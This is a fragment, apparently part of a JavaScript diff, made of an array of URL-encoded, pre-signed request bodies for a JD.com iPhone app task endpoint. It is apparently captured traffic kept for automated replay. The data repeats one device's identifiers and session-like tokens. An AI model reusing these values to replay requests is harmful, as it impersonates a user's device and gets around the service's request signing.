`area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22232075505%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22mType%22%3A0%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=e3159f46f03193f4ff37555ac2ce3347&st=1608135747723&sv=101&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22230306175%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22mType%22%3A0%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=ef74243798ed813e1a7318002fd9b658&st=1608135764036&sv=122&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22232072753%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22mType%22%3A0%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=9c9bd997e65ffce799fe117bbe700e83&st=1608135777862&sv=110&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22230354156%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22mType%22%3A0%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=f4bd50d42d37d901f2eae9aeb92097be&st=1608135793215&sv=120&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22230474392%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22mType%22%3A0%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=8e7774c8053ff1b365d9742064b575e8&st=1608135807319&sv=101&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22241113475%7C11%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22mType%22%3A0%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=8a9a3baa7ad9de8752f40a020d02b9ed&st=1608135821860&sv=100&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22240814080%7C11%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22mType%22%3A0%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=cf060e827388757075639b488e10a271&st=1608135837068&sv=102&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22239281739%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22mType%22%3A0%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=265def4ee8405300076ebecb8bc16244&st=1608135850992&sv=111&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22239326056%7C11%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22mType%22%3A0%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=0c06232d2d28875540ba2be7e3cf0248&st=1608135864617&sv=102&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22239966731%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22mType%22%3A0%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=a57bc6809cb01c4bf0807c15be141100&st=1608135879159&sv=110&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22228925366%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22mType%22%3A0%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=7cfec28169bec339ca5d58083bff413e&st=1608135892590&sv=102&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22241141664%7C11%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22mType%22%3A0%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=1268ce3aa86c9fd1ceb3dab244801be1&st=1608135922596&sv=102&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22239879879%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22mType%22%3A0%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=727339ecac9c040a6a8020b4462ed085&st=1608135944029&sv=120&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22240921105%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22mType%22%3A0%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=dad6edd5a8f5352039637e55b853c58b&st=1608135958263&sv=122&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22239913667%7C11%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22mType%22%3A0%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=263a98386f5a2ce3317727d5cd35ae31&st=1608135972412&sv=110&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22228195657%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22mType%22%3A0%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=bca8c830cb94089c31fa4039596d49e8&st=1608135986945&sv=102&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22232232068%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22mType%22%3A0%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=40a4ee9d60a14b3fcba4586502f0940b&st=1608136001520&sv=111&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22231078213%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22mType%22%3A0%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=83672faa82ff55d2e01a86551c53bf57&st=1608136015469&sv=122&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22228889429%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22mType%22%3A0%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=1d5f374fe483ee83e8b10a4c213c3e4f&st=1608136032181&sv=122&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22239891037%7C11%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22mType%22%3A0%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=98bc0ee5edf5790cb968ac5705939a23&st=1608136046783&sv=111&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22239349437%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22mType%22%3A0%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=a0851d4dd20ea28e463b38c2604220c5&st=1608135079843&sv=120&uts=0f31TVRjBSsqndu4/jgUPz6uymy50MQJbL8Z8Ji5qW2Orjpl0%2BzyRPbn4M%2BsWaSKGP0oBktuYYM5pyBaI0RqkeXBgu6TJZdGHo2xvPne18Dzkk1A7m%2BLqBuD2mrzLZjK%2BrWdDdNBD9pQPajs0rQAp%2Bu4eLnMSDTc7xxKGmxZ6YlvLbYtQu1%2B/z4woT25IKqETrcboP4nZzsjKlRbBnlsrQ%3D%3D&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D&wifiBssid=unknown` +] +let doBody = [ + 